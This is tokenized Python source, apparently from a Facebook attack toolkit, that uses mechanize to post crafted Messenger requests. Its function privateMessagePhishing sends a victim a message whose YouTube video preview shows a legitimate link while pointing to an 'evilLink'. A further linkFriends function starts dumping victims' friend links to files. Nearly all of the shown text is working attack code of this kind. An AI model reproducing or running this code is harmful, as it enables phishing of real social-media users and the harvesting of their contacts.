"attach", "ment", "][", "link", "\\u", "metric", "s", "][", "images", "\\u", "consider", "ed", "]'_", ":_", "'", "5", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "images", "\\u", "cap", "]'_", ":_", "'", "3", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "images", "\\u", "type", "]'_", ":_", "'", "ranked", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "composer", "\\u", "metric", "s", "][", "best", "\\u", "image", "\\u", "w", "]'_", ":_", "'", "100", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "composer", "\\u", "metric", "s", "][", "best", "\\u", "image", "\\u", "h", "]'_", ":_", "'", "100", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "composer", "\\u", "metric", "s", "][", "image", "\\u", "selecte", "d", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "composer", "\\u", "metric", "s", "][", "images", "\\u", "provided", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "composer", "\\u", "metric", "s", "][", "images", "\\u", "load", "ed", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "composer", "\\u", "metric", "s", "][", "images", "\\u", "shown", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "composer", "\\u", "metric", "s", "][", "load", "\\u", "duration", "]'_", ":_", "'", "6", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "composer", "\\u", "metric", "s", "][", "timed", "\\u", "out", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "composer", "\\u", "metric", "s", "][", "sort", "\\u", "order", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "composer", "\\u", "metric", "s", "][", "select", "or", "\\u", "type", "]'_", ":_", "'", "UI", "Thumb", "Page", "r", "\\u", "6", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "force", "\\u", "sms", "]'_", ":_", "'", "true", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "ui", "\\u", "push", "\\u", "phase", "]'_", ":_", "'", "V3", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "status", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "message", "\\u", "id", "]'_", ":_", "'<", "139", "476", "642", "449", "9", ":", "312", "667", "021", "2", "-", "412", "512", "111", "9", "@", "mail", ".", "proje", "kti", "tan", ".", "com", ">'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "client", "\\u", "thread", "\\u", "id", "]'_", ":_", "'", "user", ":'_", "+_", "str_", "(_", "c\\u", "user_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "client", "'_", ":_", "'", "web", "\\u", "messenger", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "user", "'_", ":_", "c\\u", "user_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "a", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "dyn", "'_", ":_", "'", "7", "n", "8a", "9E", "AMB", "l", "CF", "Y", "wy", "t2", "u", "6a", "OG", "e", "Ex", "EW", "9", "J", "6", "y", "Ug", "By", "Vb", "GA", "F4", "i", "GG", "eq", "he", "Cu", "6", "po", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "req", "'_", ":_", "'", "1", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fb", "\\u", "dt", "sg", "'_", ":_", "fb", "\\u", "dt", "sg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tts", "tamp", "'_", ":_", "'", "265", "816", "580", "748", "986", "5", "3", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "rev", "'_", ":_", "'", "116", "124", "3", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "datos_", "=_", "urlencode_", "(_", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/", "aja", "x", "/", "mercur", "y", "/", "send", "\\u", "message", "s", ".", "php", "'_", ",_", "datos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "global", "Logging_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "response_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "HTTP", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "._", "reason_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Ctrl", "+", "c", " ", "SIGN", "AL", " ", "Cau", "ght", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "private", "Messag", "e", "Phi", "shing", "_", "(_", "victim", "Id_", ",_", "message_", ",_", "subject_", ",_", "evil", "Link_", ",_", "video", "Link_", ",_", "title_", ",_", "summary_", ",_", "video", "ID_", ",_", "hij", "acke", "d", "Video_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c\\u", "user_", "=_", "get", "C", "\\u", "user_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "str_", "(_", "c\\u", "user_", ")_", "+_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fb", "\\u", "dt", "sg_", "=_", "set\\u", "dt", "sg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "fb", "\\u", "dt", "sg_", "==_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "ERROR", " ", "MOT", "HER", " ", "FU", "CK", "ER", " ", "-\\u", "-'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "arguments_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "action", "\\u", "type", "]'_", ":_", "'", "ma", "-", "type", ":", "user", "-", "generat", "ed", "-", "message", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "thread", "\\u", "id", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "author", "]'_", ":_", "'", "fb", "id", ":'_", "+_", "str_", "(_", "c\\u", "user_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "author", "\\u", "email", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "coordinate", "s", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "timestamp", "]'_", ":_", "'", "141", "045", "774", "068", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "timestamp", "\\u", "abs", "olute", "]'_", ":_", "'", "Today", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "timestamp", "\\u", "relative", "]'_", ":_", "'", "10", ":", "16", "am", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "timestamp", "\\u", "time", "\\u", "pass", "ed", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "is", "\\u", "unread", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "is", "\\u", "clear", "ed", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "is", "\\u", "forward", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "is", "\\u", "filter", "ed", "\\u", "content", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "spoo", "f", "\\u", "warn", "ing", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "source", "]'_", ":_", "'", "source", ":", "titan", ":", "web", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "body", "]'_", ":_", "str_", "(_", "message_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "has", "\\u", "attach", "ment", "]'_", ":_", "'", "true", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "html", "\\u", "body", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "specific", "\\u", "to", "\\u", "list", "][", "0", "]'_", ":_", "'", "fb", "id", ":'_", "+_", "str_", "(_", "victim", "Id_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "specific", "\\u", "to", "\\u", "list", "][", "1", "]'_", ":_", "'", "fb", "id", ":'_", "+_", "str_", "(_", "c\\u", "user_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "subject", "]'_", ":_", "str_", "(_", "subject_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "app", "\\u", "id", "]'_", ":_", "'", "230", "986", "977", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "params", "][", "url", "Info", "][", "canonical", "]'_", ":_", "str_", "(_", "video", "Link_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "params", "][", "url", "Info", "][", "final", "]'_", ":_", "str_", "(_", "video", "Link_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "params", "][", "url", "Info", "][", "user", "]'_", ":_", "str_", "(_", "evil", "Link_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "params", "][", "url", "Info", "][", "log", "][", "140", "834", "479", "3", "]'_", ":_", "'", "https", "://", "www", ".", "mk", "it", ".", "com", ".", "ar", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "params", "][", "fav", "icon", "]'_", ":_", "'", "http", "://", "s", ".", "yti", "mg", ".", "com", "/", "yt", "s", "/", "img", "/", "fav", "icon", "\\u", "32", "-", "vf", "l", "Wo", "MF", "Gx", ".", "png", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "params", "][", "title", "]'_", ":_", "str_", "(_", "title_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "params", "][", "summar", "y", "]'_", ":_", "str_", "(_", "summary_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "params", "][", "images", "][", "0", "]'_", ":_", "'", "http", "://", "i1", ".", "yti", "mg", ".", "com", "/", "vi", "/'_", "+_", "video", "ID_", "+_", "'/", "mq", "default", ".", "jp", "g", "?", "feature", "=", "og", "&", "cf", "s", "=", "1", "&", "ups", "cale", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "params", "][", "medium", "]'_", ":_", "'", "103", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "params", "][", "url", "]'_", ":_", "str_", "(_", "video", "Link_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "params", "][", "video", "][", "0", "][", "type", "]'_", ":_", "'", "applica", "tion", "/", "x", "-", "shock", "wave", "-", "flash", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "params", "][", "video", "][", "0", "][", "src", "]'_", ":_", "'", "http", "://", "www", ".", "youtu", "be", ".", "com", "/", "v", "/'_", "+_", "str_", "(_", "hij", "acke", "d", "Video_", ")_", "+_", "'?", "version", "=", "3", "&", "auto", "hide", "=", "1", "&", "autop", "lay", "=", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "params", "][", "video", "][", "0", "][", "widt", "h", "]'_", ":_", "'", "1280", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "params", "][", "video", "][", "0", "][", "height", "]'_", ":_", "'", "720", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "params", "][", "video", "][", "0", "][", "secure", "\\u", "url", "]'_", ":_", "'", "https", "://", "www", ".", "youtu", "be", ".", "com", "/", "v", "/'_", "+_", "str_", "(_", "hij", "acke", "d", "Video_", ")_", "+_", "'?", "version", "=", "3", "&", "auto", "hide", "=", "1", "&", "autop", "lay", "=", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "attach", "ment", "][", "type", "]'_", ":_", "'", "100", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "source", "]'_", ":_", "'", "Share", "Stage", "Exter", "nal", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "domain", "]'_", ":_", "'", "www", ".", "youtu", "be", ".", "com", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "base", "\\u", "domain", "]'_", ":_", "'", "youtu", "be", ".", "com", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "title", "\\u", "len", "]'_", ":_", "str_", "(_", "len_", "(_", "title_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "summar", "y", "\\u", "len", "]'_", ":_", "str_", "(_", "len_", "(_", "summary_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "min", "\\u", "dimension", "s", "][", "0", "]'_", ":_", "'", "7", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "min", "\\u", "dimension", "s", "][", "1", "]'_", ":_", "'", "7", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "images", "\\u", "with", "\\u", "dimension", "s", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "images", "\\u", "pend", "ing", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "images", "\\u", "fetched", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "image", "\\u", "dimension", "s", "][", "0", "]'_", ":_", "'", "1280", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "image", "\\u", "dimension", "s", "][", "1", "]'_", ":_", "'", "720", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "images", "\\u", "selecte", "d", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "images", "\\u", "consider", "ed", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "images", "\\u", "cap", "]'_", ":_", "'", "10", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "link", "\\u", "metric", "s", "][", "images", "\\u", "type", "]'_", ":_", "'", "images", "\\u", "array", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "composer", "\\u", "metric", "s", "][", "best", "\\u", "image", "\\u", "w", "]'_", ":_", "'", "100", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "composer", "\\u", "metric", "s", "][", "best", "\\u", "image", "\\u", "h", "]'_", ":_", "'", "100", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "composer", "\\u", "metric", "s", "][", "image", "\\u", "selecte", "d", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "composer", "\\u", "metric", "s", "][", "images", "\\u", "provided", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "composer", "\\u", "metric", "s", "][", "images", "\\u", "load", "ed", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "composer", "\\u", "metric", "s", "][", "images", "\\u", "shown", "]'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "composer", "\\u", "metric", "s", "][", "load", "\\u", "duration", "]'_", ":_", "'", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "composer", "\\u", "metric", "s", "][", "timed", "\\u", "out", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "composer", "\\u", "metric", "s", "][", "sort", "\\u", "order", "]'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "content", "\\u", "attach", "ment", "][", "composer", "\\u", "metric", "s", "][", "select", "or", "\\u", "type", "]'_", ":_", "'", "UI", "Thumb", "Page", "r", "\\u", "6", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "force", "\\u", "sms", "]'_", ":_", "'", "true", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "ui", "\\u", "push", "\\u", "phase", "]'_", ":_", "'", "V3", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "status", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "message", "\\u", "id", "]'_", ":_", "'<", "141", "045", "774", "068", "0", ":", "136", "775", "093", "1", "-", "713", "286", "099", "@", "mail", ".", "proje", "kti", "tan", ".", "com", ">'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "client", "\\u", "thread", "\\u", "id", "]'_", ":_", "'", "user", ":'_", "+_", "str_", "(_", "victim", "Id_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "client", "'_", ":_", "'", "web", "\\u", "messenger", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "user", "'_", ":_", "str_", "(_", "c\\u", "user_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "a", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "dyn", "'_", ":_", "'", "7", "n", "8a", "hy", "j", "3", "5", "CC", "Oa", "dg", "Dx", "qj", "d", "Lg", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "req", "'_", ":_", "'", "c", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fb", "\\u", "dt", "sg", "'_", ":_", "fb", "\\u", "dt", "sg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tts", "tamp", "'_", ":_", "'", "265", "816", "977", "807", "275", "1008", "484", "115", "6", "8", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "datos_", "=_", "urlencode_", "(_", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/", "aja", "x", "/", "mercur", "y", "/", "send", "\\u", "message", "s", ".", "php", " ", "'_", ",_", "datos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "global", "Logging_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "response_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "HTTP", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "._", "reason_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Ctrl", "+", "c", " ", "SIGN", "AL", " ", "Cau", "ght", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "link", "Friends", "_", "(_", "victim", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "=_", "'", "dump", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "directory_", "=_", "victim", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "delay_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "linked", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"", "frie", "nd", "\\u", "link", "s", ".", "html", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "persons_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", 